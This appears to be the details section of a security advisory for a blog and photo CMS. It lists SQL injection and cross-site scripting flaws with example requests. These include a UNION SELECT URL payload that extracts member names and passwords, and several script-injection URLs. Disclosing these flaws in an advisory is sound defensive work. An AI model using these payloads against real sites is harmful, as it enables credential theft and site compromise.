Details
*******

1. Multiple  SQL Injection vulnerabilities


1.1 Attacker can inject SQL code in index.php. Parameter name "blogid"


Example:

http://[server]/[installdir]/index.php?query=asd&blogid=1,1)+union+select+1,2,user(),database(),mname,6,7,8,9,10,11,mpassword,13,14,15+from+nucleus_member/*



1.2 Attacker can inject SQL code in module /blogcms/action.php. POST parameter name "user"


Example:

POST /blogcms/action.php HTTP/1.0
Cookie: DokuWiki=g8m41hncjkfjkc4sb1lvmgbiu5
Content-Length: 139
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; DS; .NET CLR 2.0.50727)
Host: 192.168.40.33

-------------------------------------------------------------------------------


2. Multiple Linked XSS vulnerabilities


Linked XSS vulnerability found in  /photo/admin.php and /photo/index.php  attacker can inject XSS script in URL


Example:

http://[server]/[installdir]/photo/admin.php/"><script>alert('DSECRG_XSS')</script> 

http://[server]/[installdir]/photo/index.php/"><script>alert('DSECRG_XSS')</script> 

-------------------------------------------------------------------------------
3. Multiple SiXSS (XSS throught SQl Injection Error) vulnerabilities


3.1 Linked SiXSS vulnerability found in index.php, attacker can inject XSS code in SQL Error 

Example:

http://[server]/[installdir]/index.php?query=asd&amount=0&blogid=1'<script>alert('DSecRG_XSS')</script>;&x=34&y=6



3.1 Linked SiXSS vulnerability found in /admin/plugins/table/index.php, attacker can inject XSS code in SQL Error 

It is also a SQL injection but because it is in admin panel it is not critical.


Example:

http://[server]/[installdir]/admin/plugins/table/index.php?action=edittemplate&field=title'<script>a=/DSecRG XSS/%0d%0aalert(a.source)</script>&id=2&text=0
